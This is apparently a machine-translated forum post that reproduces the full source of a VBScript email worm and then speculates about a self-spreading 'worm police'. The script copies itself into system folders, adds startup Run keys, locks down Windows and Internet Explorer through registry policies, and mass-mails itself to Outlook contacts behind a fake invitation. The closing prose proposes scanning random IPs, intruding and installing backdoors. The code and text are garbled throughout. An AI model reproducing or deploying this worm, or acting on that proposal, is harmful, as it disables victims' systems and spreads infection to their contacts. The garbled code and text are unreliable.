Just search online, I found a lot of piles.
Just a place
It's a quite fool-made thing
Produce as follows
On Error Resume NextSet fs = CreateObject ( "Scripting.FileSystemObject") Set dir1 = fs.GetSpecialFolder (0) Set dir2 = fs.GetSpecialFolder (1) Set so = CreateObject ( "Scripting.FileSystemObject") dim rSet r = CreateObject ( " Wscript.shell ") SO.GETFILE (wscript.scriptfullname) .copy (dir1 &" / win.ini.vbs ") SO.GETFILE (WScript.scriptfullname) .copy (Dir2 &" / Win.ini.vbs ") SO.GETFILE (Wscript.scriptfullname) .copy (Dir1 & "/ Start Menu / Program / Start / Win.ini.vbs "R.Regwrite" HKCU / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer / Norun ", 1," REG_DWORD "r.Regwrite" HKCU / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer / NoClose ", 1," REG_DWORD "r.Regwrite" HKCU / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer / NoDrives ", 63000000, "REG_DWORD" r.Regwrite "HKCU / Software / Microsoft / Windows / CurrentVersion / Policies / System / DisableRegistryTools", 1, "REG_DWORD" r.Regwrite "HKLM / Software / Microsoft / Windows / CurrentVersion / Run / ScanRegistry", "" R.Regwrite "HKCU / Software / Microsoft / Windows / Currentversion / Policies / Explorer / NOLOFF ", 1," REG_DWORD "r.Regwrite" HKCU / Software / Microsoft / Windows / CurrentVersion / Policies / WinOldApp / NoRealMode ", 1," REG_DWORD "r.Regwrite" HKLM / Software / Microsoft / Windows / CurrentVersion / Run / win "" WIN.INI.VBS "R.Regwrite" HKCU / Software / Policies / Explorer / Nodesktop ", 1," Reg_dword "R.Regwrite" HKCU / Software / Microsoft / Windows / CurrentVersion /Policies/winoldapp/disabled" ,1,1,"reg_dword"r.Regwrite "HKCU / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer / Nosettaskbar", 1, "
REG_DWORD "r.Regwrite" HKCU / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer / NoViewContextMenu ", 1," REG_DWORD "r.Regwrite" HKCU / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer / NoSetFolders ", 1 , "REG_DWORD" r.Regwrite "HKLM / Software / Microsoft / Windows / CurrentVersion / Winlogon / LegalNoticeCaption", "I've been poisoned" r.Regwrite "HKLM / Software / Microsoft / Windows / CurrentVersion / Winlogon / LegalNoticeText", "good "Set = createObject (" Outlook.Application ") ON Error Resume Nextfor X = 1 to 1000Set mail = Ol.createItem (0) mail.to = Ol.getNameSpace (" MAPI "). AddressLists (1) .addressentries x) mail.subject = "Are you coming tonight? "Mail.body =" Friends Hello: Your friend Rose gives you a warm invitation.
Please read the belief attachment for details, I wish you good luck! Neighboring Friends Network "Mail.Attachments.Add (dir2 &" win.ini.vbs ") Mail.SendNextol.Quitr.Regwrite" HKCU / Software / Policies / Microsoft / Internet Explorer / Restrictions / NoBrowserContextMenu ", 1," REG_DWORD "r. Regwrite "HKCU / Software / Policies / Microsoft / Internet Explorer / Restrictions / NoBrowserOptions", 1, "REG_DWORD" r.Regwrite "HKCU / Software / Policies / Microsoft / Internet Explorer / Restrictions / NoBrowserSaveAs", 1, "REG_DWORD" r. Regwrite "HKCU / Software / Policies / Microsoft / Internet Explorer / Restrictions / NoFileOpen", 1, "REG_DWORD" r.Regwrite "HKCU / Software / Policies / Microsoft / Internet Explorer / Control Panel / Advanced", 1, "REG_DWORD" r .Regwrite "HKCU / Software / Policies / Microsoft / Internet Explorer / Control Panel / Cache Internet", 1, "REG_DWORD" r.Regwrite "HKCU / Software / Policies / Microsoft / Internet Explorer / Control Panel / AutoConfig", 1, " REG_DWORD "r.Regwrite" HKCU / Software / Policies / Microsoft / Internet Explorer / Control Panel / HomePage ", 1," REG_DWORD "r.Regwrite" HKCU / Software / Policies / Microsoft / Internet Explorer / Control Panel / History ", 1 " REG_DWORD "r.Regwrite" HKCU / Software / Policies / Microsoft / Internet Explorer / Control Panel / Connwiz Admin Lock ", 1," REG_DWORD "r.Regwrite" HKEY_USERS / .DEFAULT / Software / Microsoft / Internet Explorer / Main / Start Page "," http://www.2600.com "R.Regwrite" HKCU / Software / Policies / Microsoft / Internet Explorer / Control Panel / SecurityTab ", 1," REG_DWORD "R.Regwrite" HKCU / Software / Policies / Microsoft / Internet Explorer / Control Panel / RESETWEBSETTINGS ", 1," R.Regwrite "
HKCU / Software / Policies / Microsoft / Internet Explorer / Restrictions / NoViewSource ", 1," REG_DWORD "r.Regwrite" HKCU / Software / Policies / Microsoft / Internet Explorer / Infodelivery / Restrictions / NoAddingSubScriptions ", 1," REG_DWORD "r. REGWRITE "HKCU / Software / Microsoft / Windows / Currentversion / Policies / Explorer / NofileMenu", 1, "Reg_dword" ************************** ******************************************* This is really enough to call me Surprised
But it is worth noting that its set of fools is in the form of future computer automatic programming software.
This form is very good for the settlement of computer automatic programming.
Of course, if you want to make the program to obey the program, you must destroy the program, that is, the procedure violates people's will to kill human words, the incident should go to the program to crash, let it collapse
And this fast development method believes that it will be put into practice from theory
Just like the network security, it is not a procedure, but human beings, even if there is a "hacking empire" day, it is also self-contained, the program is just the executor of human thought.
But good aspects, since the virus is fool, a simple C / C source code generator has already made it, which is good for faster development and helping novice learning programming.
In addition, we know that an application is implemented from the analysis, deploying to coding, debugging, in which debugging is the most time, if you make your own debugging, programmers do assist, that will greatly reduce the burden of debugen,
It seems that this heavy technology prospect is still good, just see how people use it.
In addition, 9CBS's enthusiasts, today's network, like yesterday, still have a website
"Program Network Police" similar to the network worm may also try to do it.
The principle is very simple, it is the network worm, but it is never destroyed. In contrast, give the user to patch the user or automatically play the user, propagate security knowledge, but the most important feature is, random scan IP-"Invasion -" Installation Back Door - "Clear Traces And give the user a warning or pursue.
I hope this "worm police" is legalized and related departments research and development.
In addition, the rear door after this "network police" invading can be monitored as a counter-tracker to monitor and return to a unified "network police" management server, so that the criminal damage behavior can be found. I hope that everyone will be inspired. (Finish)
